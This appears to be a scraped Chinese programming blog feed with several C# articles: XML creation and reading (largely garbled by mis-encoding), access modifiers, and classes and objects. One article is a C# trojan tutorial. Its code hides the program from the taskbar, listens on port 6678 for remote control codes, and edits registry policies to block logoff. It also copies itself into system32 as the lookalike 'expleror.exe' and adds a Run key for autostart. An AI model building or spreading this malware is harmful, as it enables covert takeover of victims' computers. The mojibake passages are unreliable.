  在本文中我们来介l一下用cQ创建xml文档的二U方法,q二U方法各有千U,W一U创v来更灉|Q第二种创徏h更方ѝ?br />  1.cQ创建xml文档的第一U方法:(x) 
  q一U方法是按照按照xml的结构一步一步的构徏xml文档。cQ构建xml文档通过.net framework sdk中的命名I间"system.xml"中封装的各种cL实现的。下面就按照一个xml典型文档l构来介l一下。?br />    ◇首先要创徏一个空的xml文档Q?br />  在命名空?system.xml"中有一个类"xmldocument"QcQ通过q个cL描述xml文档。下面是用cQ创Z个xml文档。?/font>
xmldoc = new system.xml.xmldocument ( ) ; 


  ◇在xml的文档的最头部加入xml的声明段落:(x) 
  利用"xmldocument"cM?"createnode" Ҏ(gu)可以创徏一个指定类型的xml节点Q?createnode" Ҏ(gu)的调用方法d有三U,在本文中使用的其一般的Ҏ(gu)Q具体语法如下:(x) 

xmldocument.createnode method ( xmlnodetype , string , string ) 


  然后在利?xmldocument"cM?appendchild"Ҏ(gu)在xml文档中加入此节点Q用cQ在xml文档中加入声明段落实现的语句如下Q?/font>

xmlnode = xmldoc.createnode ( xmlnodetype.xmldeclaration , "" , "" ) ;
xmldoc.appendchild ( xmlnode ) ;


  ◇ؓ(f)xml文档加入元素QelementQ:(x) 
  加入数据内容是通过元素Q在"xmldocument"cM提供了二个方法:(x)"createelement"?createtextnode"。其中第一个方法是在xml中创Z个元素,另外一个方法是为创建的元素指定文本倹{下面是Z面创建的xml文档加入一个根元素。?/font>

xmlelem = xmldoc.createelement ( "" , "root" , "" ) ;
xmltext = xmldoc.createtextnode ( "root text" ) ;


  注释Q其?xmlelem"是创建的"xmlelement"对象Q?xmltext"?xmltext"对象 
  有了创徏一个xml元素的例子,可以根据xml文档中数据的不同的结构来创徏其他的数据了。?br />

    2.cQ创建xml文档的第一U方法的源程序代码(no1.csQ:(x) 

using system ;
using system.xml ;
class mainclass
{
xmldocument xmldoc ;
xmlnode xmlnode ;
xmlelement xmlelem ;
xmlelement xmlelem2 ;
xmltext xmltext ;

static void main ( string [ ] args )
{
mainclass app = new mainclass ( ) ;
}
public mainclass ( )

{
xmldoc = new xmldocument ( ) ;
//加入xml的声明段?br />xmlnode = xmldoc.createnode ( xmlnodetype.xmldeclaration , "" , "" ) ;
xmldoc.appendchild ( xmlnode ) ;
//加入一个根元素
xmlelem = xmldoc.createelement ( "" , "root" , "" ) ;
xmltext = xmldoc.createtextnode ( "root text" ) ;
xmlelem.appendchild ( xmltext ) ;
xmldoc.appendchild ( xmlelem ) ;
//加入另外一个元?br />xmlelem2 = xmldoc.createelement ("sampleelement" ) ;
xmlelem2 = xmldoc.createelement ( "" , "sampleelement" , "" ) ;
xmltext = xmldoc.createtextnode ( "the text of the sample element" ) ;
xmlelem2.appendchild ( xmltext ) ;
xmldoc.childnodes.item(1).appendchild ( xmlelem2 ) ;
//保存创徏好的xml文档
try

{
xmldoc.save ( "c:\\data.xml" ) ; 
}
catch ( exception e )
{
//昄错误信息
console.writeline ( e.message ) ;
}
console.readline ( ) ;
}

 

    3.cQ创建xml文档的第二种Ҏ(gu)Q?/font>
    在介l完W一U方法以后,我想每一个读者都感觉到用cQ创建xml文档是一Ҏ(gu)较烦杂的工作了,因ؓ(f)不仅要了解创建的知识Q还要了解文档的l构Q这样创建的q程是一步一步的了。下面就来介l一U比较容易的创徏Ҏ(gu)Q这U创建方法是直接定义xml文档Q然后把他保存到文g中就可以了。?br />    ◇创Z个xml文档Q?br />    q一点和W一U方法一P在这里就不介l了。?br />
  ◇通过"xmldocument"cM?loadxml"Ҏ(gu)Q直接在文档中加入想要加入的xml数据。当然你加入的xml应该W合xml的语法,不然产生的文件也没有什么意义了。下面是加入xml的具体代码:(x) 

doc.loadxml ( 
"<employees> " +
"<no1>" +
"<name>ma jin hu</name>" +
"<zip> 239000 </zip>" +
"<address>feng huang street</address>" +
"<city>chu zhou city</city>" +
"<state> anhui </state>" +
"</no1>" +
"<no2>" +
"<name>wang tian</name>" +
"<zip> 239000 </zip>" +
"<address>lang ya street</address>" +
"<city>he fei city</city>" +
"<state> anhui </state>" +
"</no2>" +
"<no3>" +
"<name>zou wen biao</name>" +
"<zip> 100000 </zip>" +
"<address>sai di street</address>" +
"<city>bei jin city</city>" +
"<state>bei jin</state>" +
"</no3>" +
"</employees>" ) ; 

  把保存xml文档到文件中Q?br />  保存xml文档是通过"xmldocument"cM?save"Ҏ(gu)来实现的。具体如下:(x) 

doc.save ( "data.xml" ) ; 


  ◇cQ创建xml文档的第二种Ҏ(gu)的源E序代码Qno2.csQ:(x) 

using system ;
using system.io ;
using system.xml;
public class sample
{
public static void main ( )
{
//创徏一个xmldocument对象
xmldocument doc = new xmldocument ( ) ;
doc.loadxml ( 
"<employees> " +
"<no1>" +
"<name>ma jin hu</name>" +
"<zip> 239000 </zip>" +
"<address>feng huang street</address>" +
"<city>chu zhou city</city>" +
"<state> anhui </state>" +
"</no1>" +
"<no2>" +
"<name>wang tian</name>" +
"<zip> 239000 </zip>" +
"<address>lang ya street</address>" +
"<city>he fei city</city>" +
"<state> anhui </state>" +
"</no2>" +
"<no3>" +
"<name>zou wen biao</name>" +
"<zip> 100000 </zip>" +
"<address>sai di street</address>" +
"<city>bei jin city</city>" +
"<state>bei jin</state>" +
"</no3>" +
"</employees>" ) ;
//保存q个文档到文件中
doc.save ( "data.xml" ) ;
}


    用cQ创建xml文档的方法其实有很多Q在q里只是选取了二U比较典型的Ҏ(gu)加以介绍。但无论那一U方法,cQ在创徏xml的时候都需要用?net framework sdk。所以了解ƈ掌握q个cd中的内容对于cQ编E是十分必要的,在下面我们将来介l一下用cQ读取xml中的数据Q通过q你?x)发玎ͼcQ又是利用这个类库实现这个功能的。?br />
    ?/b>.cQ读取xml文gQ?/font>
  本节用cQ来d本文中用W二U方法创建的xml文gQ编译no2.cs后,执行?data.xml"文gQ其?data.xml"文g的数据结构如下:(x) 

<employees>
<no1>
<name>ma jin hu</name>
<zip> 239000 </zip>
<address>feng huang street</address>
<city>chu zhou city</city>
<state> anhui </state>
</no1>
<no2>
<name>wang tian</name>
<zip> 239000 </zip>
<address>lang ya street</address>
<city>he fei city</city>
<state> anhui </state>
</no2>
<no3>
<name>zou wen biao</name>
<zip> 100000 </zip>
<address>sai di street</address>
<city>bei jin city</city>
<state>bei jin</state>
</no3>
</employees> 

   在下面的内容中,我们利用cQ读取此文gQƈ用listviewlg按照数据l构l显C出来。下图是d此xml后的q行界面Q?br />  ?1QcQ读取xml后的q行界面 
            

  要正读取xml数据Q首先要了解xml的结构。根据上面的xml文gQ可以知道此xml包含三个数据Q下面就来看如何dq三条数据:(x) 

  ◇装入xml文gQŞ成数据流Q?br />  通过创徏一?xmldocument"对象Q然后利?load"Ҏ(gu)Q可以把xml文g装入Q具体如下:(x) 

xmldocument doc = new xmldocument ( ) ;
// 装入指定的xml文档
doc.load ( "c:\\data.xml" ) ; 


  ◇读取xml文gQƈ昄出来Q?br />  dxml是通过创徏"xmlnodereader"对象来实现的Q?xmlnodereader"对象主要是用来可以读取xml的节Ҏ(gu)据。在本文的程序中使用C一?xmlnodereader"的属性,譬如"nodetype"属性,用来判断d得节Ҏ(gu)什么类型?value"是节点的倹{下面是dxml文gq显C在listview中的实现代码Q其中listview1是已l创建listviewlgQ?/font>

while ( reader.read ( ) ) 
{
//判断当前d得节点类?br />switch ( reader.nodetype )
{
case xmlnodetype.element :
s = reader.name ;
break ;
case xmlnodetype.text :
if ( s.equals ( "name" ) )
myitem = listview1.items.add ( reader.value ) ;
else
myitem.subitems.add ( reader.value ) ;
break ;


  ?cQ读取xml的文件的源程序代码(read.csQ:(x) 
  在了解了上面的内容以后,可以得到用cQ读取指定xml文g的完整代码,具体如下Q?/font>

using system ;
using system.drawing ;
using system.collections ;
using system.componentmodel ;
using system.windows.forms ;
using system.data ;
using system.xml ;
public class form1 : form
{
private button button1 ;
private listview listview1 ;
private system.componentmodel.container components = null ;

public form1 ( )
{
//初始化窗体中的各个组?br />initializecomponent ( ) ;
}
//清除E序中用过的资?br />protected override void dispose ( bool disposing )
{
if ( disposing )
{
if ( components != null ) 
{
components.dispose ( ) ;
}
}
base.dispose ( disposing ) ;
}
private void initializecomponent ( )
{
button1 = new button ( ) ;
listview1 = new listview ( ) ;
suspendlayout ( ) ;

button1.anchor = ( ( anchorstyles.bottom | anchorstyles.left ) 
| anchorstyles.right ) ;
button1.location = new point ( 240 , 296 ) ;
button1.name = "button1" ;
button1.size = new size ( 112 , 37 ) ;
button1.tabindex = 0 ;
button1.text = "dxml文档" ;
button1.click += new system.eventhandler ( button1_click ) ;

listview1.anchor = ( ( ( anchorstyles.top | anchorstyles.bottom ) 
| anchorstyles.left ) 
| anchorstyles.right ) ;
listview1.gridlines = true ;
listview1.location = new point ( 10 , 9 ) ;
listview1.name = "listview1" ;
listview1.size = new size ( 623 , 269 ) ;
listview1.tabindex = 1 ;
listview1.view = view.details ;

this.autoscalebasesize = new size ( 6 , 14 ) ;
this.clientsize = new size ( 608 , 348 ) ;
this.controls.add ( listview1 );
this.controls.add ( button1 );
this.name = "form1" ;
this.startposition = formstartposition.centerscreen ;
this.text = "用cQ来dxml文档" ;
this.resumelayout ( false ) ;

}
static void main ( ) 
{
application.run ( new form1 ( ) ) ;
}

private void button1_click ( object sender , system.eventargs e )
{
listviewitem myitem = new listviewitem ( ) ;
// 构徏listviewlg
listview1.columns.clear ( ) ; 
listview1.items.clear ( ) ;
listview1.columns.add ( "name" , 80 , horizontalalignment.left ) ; 
listview1.columns.add ( "zip" , 80 , horizontalalignment.left ) ; 
listview1.columns.add ( "address" , 80 , horizontalalignment.left ) ; 
listview1.columns.add ( "city" , 80 , horizontalalignment.left ) ; 
listview1.columns.add ( "state" , 80 , horizontalalignment.left ) ; 
xmlnodereader reader = null ;

try
{
string s = "" ;
xmldocument doc = new xmldocument ( ) ;
// 装入指定的xml文档
doc.load ( "c:\\data.xml" ) ;
// 讑֮xmlnodereader对象来打开xml文g
reader = new xmlnodereader ( doc ) ;
// dxml文g中的数据Qƈ昄出来
while ( reader.read ( ) ) 
{
//判断当前d得节点类?br />switch ( reader.nodetype )
{
case xmlnodetype.element :
s = reader.name ;
break ;
case xmlnodetype.text :
if ( s.equals ( "name" ) )
myitem = listview1.items.add ( reader.value ) ;
else
myitem.subitems.add ( reader.value ) ;
break ;

}
}
finally
{
//清除打开的数据流
if ( reader != null )
reader.close ( ) ;
}
}


  五.ȝQ?/font>
  cQ和xml的渊源是很深的,本文只是从一个侧面反映了二者关pȝ密切E度。在.net framework sdk中存在许多可以直接操作xml的类库,掌握q些cd的用方法,对用cQ开发和xml相关E序是十分必要的。?/font>



2006-11-12 15:17 发表评论
]]>
public,protected 和privatehttp://www.aygfsteel.com/zengke/articles/77990.htmlMon, 30 Oct 2006 02:22:00 GMThttp://www.aygfsteel.com/zengke/articles/77990.htmlhttp://www.aygfsteel.com/zengke/comments/77990.htmlhttp://www.aygfsteel.com/zengke/articles/77990.html#Feedback0http://www.aygfsteel.com/zengke/comments/commentRss/77990.htmlhttp://www.aygfsteel.com/zengke/services/trackbacks/77990.html public,protected 和private是面向对像编E封装机制的三种声明状?
public 公有?由它声明的方法和数据可以在对cd部调?起到接口的作?
protected受保护类?声明的方法可以被叫它所l程c访?但不能在外部讉K.
privateU有cd,声明的方法和数据只能在本cMq行讉K.


2006-10-30 10:22 发表评论
]]>用C#实现木马E序http://www.aygfsteel.com/zengke/articles/77726.htmlFri, 27 Oct 2006 12:19:00 GMThttp://www.aygfsteel.com/zengke/articles/77726.htmlhttp://www.aygfsteel.com/zengke/comments/77726.htmlhttp://www.aygfsteel.com/zengke/articles/77726.html#Feedback0http://www.aygfsteel.com/zengke/comments/commentRss/77726.htmlhttp://www.aygfsteel.com/zengke/services/trackbacks/77726.html要实现木马服务的E序Q主要实C下几个功能:(x)后台的运行(隐藏技术)Q控制码的接收与注册表的修改Q下面对q三斚w做介l:(x)



  1、在VC#中,建立一个后台服务程序是很容易的Q先建立一个新的C#的Windows应用E序Q项目名U自定(不过Z隐藏可用与pȝ相近的名UͼQ将H体属性“ShowInTaskbar”属性设为false,让它q行时不?x)在d栏中昄Qƈ属性“Windowstate”属性设为Mininized卛_Q这L(fng)体就可以隐藏q行了。当然你也可以在InitializeComponent()讄Q此函数起初始化的作用,在窗体显C前q行Q代码如下:(x)





private void InitializeComponent()
{
//
// Form1
//
//H体昄的v点和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//H体名称
this.Name = "Form1";
//讄属性让它后台运?br />this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}


  2、控制代码的接收Q必需在服务程序运行开始就启动Q所以侦听线E必需在程序初始化中启动,所以放在窗体的构造函CQ代码注解如下:(x)







public Form1() //H体的构造函?br />{
//
// Windows H体设计器支持所必需?br />//
InitializeComponent();



//
// TODO: ?InitializeComponent 调用后添加Q何构造函C?br />//加入你的侦听代码
//端口你可以自已设?我用了固定的端?br />int port =6678;
//System.Net.Sockets.TcpListener是用来在Tcp|络中侦听客L(fng)?br />listener = new TcpListener(port);
//启动侦听
listener.Start();
//增加接收控制码的U程,如果要停止线E可以用 Thread.abort()
//reControlCode 是线E启动执行的函数Q此函数Ҏ(gu)接收的控?br />//控制码选取合适的注册表修改函?br />Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函数如下Q完整代码见E序
private void reControlCode()
{
//讄接收套接?接收listener.AcceptSocket是返回已l接收的客户的请?br />socket = listener.AcceptSocket();
//如果q接成功执行
while (socket.Connected)
{
//接收控制?br />byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//Ҏ(gu)控制码执行不同的功能

//修改注册表加入编?br />switch (ss)
{
case "jiance"://试q接,q回试信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注册表函?自已定义Q见下面分析
UnLogOff();
//q回控制消息
retMessage();
break;



case "zx0100":
//修改注册表函?br />UnClose();
//q回控制消息
retMessage();
break;
//重复的case功能与前面一?略掉
default:
break;
}//case
}//while
} //private void reControlCode



  3、C#中实现注册表的修改,使用?NETcd中的System.Microsoft.Win32命o(h)I间Q它提供两种cd的类Q处理由操作pȝ引发的事件的cd对系l注册表q行操作的类。下面就可以看到它的用法。这里我做了一个修Ҏ(gu)册表的子E序Q计算Z能注销。在q之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
下面N值NoLogOff ?1 卛_使计机无法注销。在下面的函C用C#实现Ҏ(gu)册表的修改:(x)





private void UnLogOff()
{
//得到L的注册表的顶U节?br />Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//讄一个注册表子键的变?br />RegistryKey key1;
try
{
//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)(g)索指定的子键
//registrykey是用h定的键|canwrite 为true则可修改Q默认ؓ(f)fasle不可?br />key1 =
rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
//讄子键的键名,和?br />key1.SetValue ("NoLogOff",1);
//关闭打开的子?br />key1.Close();
//警告字符串设?br />mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置?!";
}
catch{}
//如果不存在自已徏?br />if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函数来徏立你需要的子键
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置?!";
}
catch{}
}
}


  4、在木马E序中还有一个重要的功能是自我的复制和转移。木马引入被控制的主机时必需自动木马隐藏在System,System32的目录下以防被发现。{Uȝ代码分析如下Q主要实现的功能是将D盘下的木马程序{UdC:\\winnnt\\system\\msdoss.exeQ同时换名称。用的.NET命名I间System.IO,它的作用是允许对数据和文gq行同步和异步读写。这里我们用了System.IO.FilecR?br />




private void moveCC1()
{
try
{
//函数File.Move(string sourceFileName,string destFileName)L(fng)动文件的作用
//sourceFileNameUd的文件名QdestFileName为文件的新\?br />File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");
}
catch {}
//新Uȝ木马E序设ؓ(f)自启?分析和前面一?br />try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1() 


2006-10-27 20:19 发表评论
]]>HOW TOQ在 C# .NET 中创建类和对?/title><link>http://www.aygfsteel.com/zengke/articles/76409.html</link><dc:creator>曄</dc:creator><author>曄</author><pubDate>Fri, 20 Oct 2006 08:35:00 GMT</pubDate><guid>http://www.aygfsteel.com/zengke/articles/76409.html</guid><wfw:comment>http://www.aygfsteel.com/zengke/comments/76409.html</wfw:comment><comments>http://www.aygfsteel.com/zengke/articles/76409.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/zengke/comments/commentRss/76409.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/zengke/services/trackbacks/76409.html</trackback:ping><description><![CDATA[ <h2 class="subTitle"> <font size="2">概要<br />C# 是一U面向对象的~程语言?可以定义cM表示应用E序中的cdQ然后创建对象作些类的实例?</font> </h2> <h2 class="subTitle"> <font size="2">?C# 中,cd以包含字Dc(din)方法、属性和索引器?在本文中Q?zhn)学习(fn)如何?C# 中新Z个表C棒球队 (Baseball Team) 的类?给该类定义字段、方法和属性。接着创建此cȝ型的一个对象ƈ利用其方法和属性?</font> </h2> <h2 class="subTitle"> <font size="2">新徏c?<br />1. 从项目菜单上Q单?yn)L加类。?<br />2. 在添加新对话框的类名中Q键?BaseballTeamQ然后单?yn)L开。?<br />3. 在“代码视䏀窗口中(g)查该新类的代码。?</font> </h2> <h2 class="subTitle"> <font size="2">定义字段和构造函?<br />1. 在视图菜单上Q单ȝ视图?在“类视图”窗口中Q展开 ClassesAndObjects 目Q然后展开 ClassesAndObjects 名称I间?右键单击 BaseballTeam c,选择dQ然后单?yn)L加字Dc(din)?<br />2. ?C# 字段向导中,字D访问设|ؓ(f) privateQƈ字D늱型设|ؓ(f) string?在字D名中,键入 name。单d成?此时Q就?x)将以下字段d到该cMQ?<br />private string name;<br /> <br />3. 重复步骤 1 ?2Q或手动键入代码Q以d另一个字D,如下所C:(x) <br />private string stadium;<br /> <br />4. 再添加两个字D,q提供初始字D|如下所C:(x)<br /> private int wins = 0;<br />private int defeats = 0;<br /> <br />5. 修改该类的构造函敎ͼ以初始化球队和体育场 (stadium) 的名Uͼ(x)<br />public BaseballTeam(string n, string s)<br />{<br />   this.name = n;<br />   this.stadium = s;<br />}</font> </h2> <h2 class="subTitle"> <font size="2">定义Ҏ(gu) <br />1. 在类视图中,右键单击 BaseballTeam cR?选择dQ然后单?yn)L加方法。?<br />2. 方法访问设|ؓ(f) publicQƈ返回类型设|ؓ(f) void?在方法名UCQ键?PlayGame?d两个名ؓ(f) runsFor ?runsAgainst ?int 参数。单d成?此时Q就?x)将以下?gu)d到该cMQ?<br />public void PlayGame(int runsFor, int runsAgainst)<br />{<br />}<br />3. 定义Ҏ(gu)体,如下所C:(x) <br />public void PlayGame(int runsFor, int runsAgainst)<br />{<br />   if (runsFor > runsAgainst)<br />      this.wins++;<br />else<br />      this.defeats++;<br />}<br />4. C# 中的所有类最l都是从名ؓ(f) Object 的基cȝ承而来的。此cd义了所有类的通用功能。以 ToString Ҏ(gu)ZQ它q回一个字W串形式的类状态?在?zhn)?BaseballTeam cM重写此方法,如下所C:(x) public override string ToString()<br />{<br />   return this.name + ", play at " + this.stadium + ": " +<br />          " W" + this.wins + " L" + this.defeats;<br />}</font> </h2> <h2 class="subTitle"> <font size="2">定义重蝲Ҏ(gu)<br />C# 支持重蝲Ҏ(gu)Q它是指名称相同但签名不同的Ҏ(gu)?在下面的步骤 2 中,定?PlayGame Ҏ(gu)的一个重载版本,该方法将比赛l果作ؓ(f)参数?<br />1. 首先Q在 BaseballTeam cM定义一?enumQ如下所C:(x) public enum Result {Win, Lose}<br />2. 另创Z?PlayGame Ҏ(gu)Q如下所C:(x) public void PlayGame(Result r)<br />{<br />   if (r == Result.Win)<br />      this.wins++;<br />   else if (r == Result.Lose)<br />      this.defeats++;<br />}</font> </h2> <h2 class="subTitle"> <font size="2">定义属?br />1. 在类视图中,右键单击 BaseballTeam cR?选择dQ然后单?yn)L加属性。?<br />2. 属性访问设|ؓ(f) publicQƈ属性类型设|ؓ(f) double?在属性名中,键入 Record?单击 get 单选按钮,然后单击完成?此时Q就?x)将以下属性添加到该类中:(x) public double Record<br />{<br />   get<br />   {<br />      return 0;<br />   }<br />}<br />3. 按以下方式修改该属性,使其q回球队的比赛记录Q例如,如果本队赢得 10 场比赛,输掉 10 场比赛,则该队的记录?0.5Q:(x) public double Record<br />{<br />   get<br />   {<br />      int played = this.wins + this.defeats;<br />      return (double)this.wins / played;<br />   }<br />}<br />4. d一个名?Ballpark 的获?讄属性,如下所C?该属性允许读取或更改球队的 stadium 字段Q?public string Ballpark<br />{<br />   get <br />   {<br />      return this.stadium; <br />   }<br />   set <br />   {<br />      this.stadium = value;  // value is an implicit parameter<br />   }<br />}</font> </h2> <h2 class="subTitle"> <font size="2">创徏q用一个对?br />1. 在“代码视䏀窗口中昄 Class1.cs 的代码。?<br />2. ?Main Ҏ(gu)中,使用 new q算W创Z?BaseballTeam 对象?对该对象的引用赋值给 BaseballTeam 局部变量,如下所C:(x)<br />BaseballTeam sf = new BaseballTeam("San Francisco Giants", <br />                                   "Candlestick Park");<br />3. d下列代码以便在对象上试公用Ҏ(gu)Q?<br />sf.PlayGame(7, 2);<br />sf.PlayGame(BaseballTeam.Result.Lose);<br />4. d下列语句以检验对象的属性:(x) <br />Console.Out.WriteLine("Record: " + sf.Record);<br />sf.Ballpark = "3Com Park";<br />5. 昄对象的当前状态,如下所C:(x)<br />Console.Out.WriteLine(sf.ToString());<br />6. 对该对象的引用讄?nullQ表明?zhn)不再需?BaseballTeam 对象?q样Q就可以该对象作ؓ(f)垃圾回收Q注意,C# 没有 delete q算W)Q?br />sf = null;</font> </h2> <div id="wmqeeuq" class="sbody"> </div> <img src ="http://www.aygfsteel.com/zengke/aggbug/76409.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/zengke/" target="_blank">曄</a> 2006-10-20 16:35 <a href="http://www.aygfsteel.com/zengke/articles/76409.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <a href="http://www.aygfsteel.com/" title="狠狠久久亚洲欧美专区_中文字幕亚洲综合久久202_国产精品亚洲第五区在线_日本免费网站视频">狠狠久久亚洲欧美专区_中文字幕亚洲综合久久202_国产精品亚洲第五区在线_日本免费网站视频</a> </div> </footer> վ֩ģ壺 <a href="http://" target="_blank">С</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ľ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ǰ</a>| <a href="http://" target="_blank">Ϫ</a>| <a href="http://" target="_blank">ͼʲ</a>| <a href="http://" target="_blank">Ĵʡ</a>| <a href="http://" target="_blank">߰</a>| <a href="http://" target="_blank">Ȫ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">Ҿ</a>| <a href="http://" target="_blank">ľ</a>| <a href="http://" target="_blank">տ</a>| <a href="http://" target="_blank">־</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">ɶ</a>| <a href="http://" target="_blank">ˮ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">˫</a>| <a href="http://" target="_blank">̨</a>| <a href="http://" target="_blank">ͬ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">˳</a>| <a href="http://" target="_blank">ԭ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">˳</a>| <a href="http://" target="_blank">Ϫ</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">̩</a>| <a href="http://" target="_blank">ӥ̶</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank">пѷ</a>| <a href="http://" target="_blank">ƽ˳</a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <a href="http://" target="_blank"></a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>